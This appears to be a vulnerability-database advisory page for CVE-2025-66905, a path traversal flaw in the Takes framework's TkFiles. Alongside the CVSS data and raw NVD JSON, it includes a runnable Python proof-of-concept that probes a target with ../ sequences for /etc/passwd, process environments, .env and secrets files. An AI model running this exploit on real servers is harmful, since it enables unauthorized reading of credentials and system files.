Security Vulnerability Report
中文
CVE-2025-66905 CVSS 7.5 HIGH

CVE-2025-66905

Published: 2025-12-19 16:15:58
Last Modified: 2026-01-06 15:52:28

Description

The Takes web framework's TkFiles take thru 2.0-SNAPSHOT fails to canonicalize HTTP request paths before resolving them against the filesystem. A remote attacker can include ../ sequences in the request path to escape the configured base directory and read arbitrary files from the host system.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:takes:tkfiles:2.0:*:*:*:*:*:*:* - VULNERABLE
Takes web framework TkFiles < 2.0-SNAPSHOT
Takes framework 所有包含TkFiles组件的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66905 Path Traversal PoC for Takes Framework TkFiles # The vulnerability allows reading arbitrary files by using ../ sequences import requests import sys def exploit_tkfiles(target_url, base_dir="files"): """ Exploit CVE-2025-66905: TkFiles Path Traversal Args: target_url: Base URL of the vulnerable Takes application base_dir: The configured base directory (default: 'files') This PoC demonstrates how to escape the base directory using '../' sequences. """ # Files to attempt reading sensitive_files = [ "../../../../etc/passwd", "../../../../etc/hosts", "../../../../etc/group", "../../../../proc/self/environ", "../../../../proc/self/cmdline", "../../../../../../../../../etc/passwd", "../../../../../etc/passwd%00.txt", # Null byte injection attempt ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-66905 - TkFiles Path Traversal\n") for file_path in sensitive_files: url = f"{target_url}/{base_dir}/{file_path}" print(f"[+] Trying: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[SUCCESS] Retrieved: {file_path}") print(f"Content preview:\n{response.text[:500]}...") print("-" * 60) elif response.status_code == 403: print(f"[BLOCKED] Access denied for: {file_path}") else: print(f"[FAILED] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") # Example: Reading application configuration print("\n[*] Attempting to read application configs...") config_paths = [ "../../../../app/config/application.conf", "../../../../app/secrets.yaml", "../../../../.env", ] for config in config_paths: url = f"{target_url}/{base_dir}/{config}" print(f"[+] Trying config: {config}") try: response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[SUCCESS] Found config file!") print(f"Content:\n{response.text}") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66905.py <target_url>") print("Example: python cve-2025-66905.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_tkfiles(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66905", "sourceIdentifier": "[email protected]", "published": "2025-12-19T16:15:58.067", "lastModified": "2026-01-06T15:52:28.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Takes web framework's TkFiles take thru 2.0-SNAPSHOT fails to canonicalize HTTP request paths before resolving them against the filesystem. A remote attacker can include ../ sequences in the request path to escape the configured base directory and read arbitrary files from the host system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:takes:tkfiles:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "475E9821-DEAC-4EEE-BEA6-758802521D80"}]}]}], "references": [{"url": "https://github.com/Xzzz111/public_cve_report/blob/main/CVE-2025-66905_report.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/yegor256/takes", "source": "[email protected]", "tags": ["Product"]}]}}